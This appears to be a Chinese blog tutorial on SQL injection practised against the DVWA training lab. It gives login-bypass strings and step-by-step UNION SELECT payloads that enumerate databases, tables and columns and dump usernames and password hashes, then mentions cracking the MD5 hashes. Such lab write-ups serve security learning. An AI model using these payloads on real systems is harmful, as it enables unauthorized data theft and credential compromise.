网络安全之SQL注入基于DVWA平台

发布时间 2023-07-27 11:17:39作者: 一纸叶书

弱口令

SQL注入

万能密码

admin'-- '

admin'#

万能用户名

xxx' or 1=1 limit 1 -- -

脱库

一库:information_schema

三表:

  1. schemata 表:存放所有数据库信息

  2. tables 表:存放所有表信息

  3. columns 表:存放所有字段信息

六字段:

  1. schemata表的 schema_name 字段:存放具体的数据库名

  2. tables表的 table_name 字段:存放具体的表名

  3. tables表的 table_schema 字段:存放表所在的数据库

  4. columns表的 column_name 字段:存放具体的字段名

  5. columns表的 table_name 字段:存放字段所在的表名

  6. columns表的 table_schema 字段:存放字段所在的数据库名

SQL注入的类型

根据请求方式的不同可以分为

  1. GET请求方式注入

  2. POST请求方式注入

根据参数的数据类型可以分为

  1. 数值型注入

  2. 字符型注入

  3. 搜索型注入

根据注入后的回显情况

  1. 报错型注入

  2. 联合查询注入

  3. 布尔型注入

  4. 基于时间的注入

显示位数的判断

通过order by子句可以判断查询结果的显示位

联合查询

union select

联合查询的关联表显示数一样的情况下

只有可以使用union的情况下的注入

联合查询注入的探测

首先判断是否存在注入点以及注入点类型

第一种判断输入:1‘报错肯定存在注入漏洞

第二种判断输入1 and 1=1和1 and 1=2如果回显相同则存在字符型注入,如果数值回显不同则说明存在数值型注入。

联合查询漏洞利用

脱取数据库名

判断有几个显示位

使用ouder by子句查看

1' union select 1,database() -- 

image-20230727102252971

获取到数据库名

脱取数据库表名

payload:

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa') --

image-20230727103450722

脱取数据库字段名

-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.COLUMNS WHERE table_schema='dvwa' AND table_name='users') -- -

image-20230727110029623

脱取数据库的字段值payload

1' union select 1,(select group_concat(concat_ws("~",user,password)) from dvwa.users) -- -

image-20230727110155016

使用MD5解密工具进行解码操作

image-20230727110845609